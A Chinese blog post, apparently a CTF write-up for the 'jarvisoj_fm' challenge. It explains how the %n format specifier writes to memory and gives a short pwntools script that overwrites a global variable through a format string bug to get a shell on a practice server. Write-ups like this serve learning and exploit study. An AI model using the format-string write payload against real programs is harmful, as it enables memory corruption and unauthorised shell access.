jarvisosoj_fm

乍一看就是一个格式化字符串漏洞,但是这种漏洞我不太明白,于是昨天晚上恶补了一下,对%n有了更确切的了解。

思路:1.这题明显就是将x更改为4就可以获得shell,然后我查看到x的地址固定为0x804a02c,这个地址存放的数据为0x3。要让他变为0x4。
2.%n和%s一样,都要解析地址然后输出。%s是解析地址然后输出这个地址指向的内存数据,%n是解析地址,然后向次地址中填入之前打印字符的长度。(printf最后把格式化字符串的地址放入栈中,首先会把参数从右至左压入栈若没有参数,则会将栈上的内容作为参数输出)在这里插入图片描述我输入aaaa%s,在栈的esp中存放了aaaa%s的地址,而aaaa%s距离esp的距离为11。`

from pwn import *
#io = process("./fm")
io = remote("node3.buuoj.cn",28439)

payload = p32(0x0804A02C)+"%11$n";     #将地址填入栈,然后解析偏移为11的地址,向其填入0x0804A02C字符的长度(4),即可
io.sendline(payload)

io.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值